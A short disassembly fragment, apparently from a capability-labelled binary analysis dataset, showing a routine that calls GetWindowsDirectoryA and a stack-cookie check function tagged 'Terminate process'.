call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x4022e0
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x40614e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46db90]
jne 0x406158
repz ret
jmp fcn.00407ac3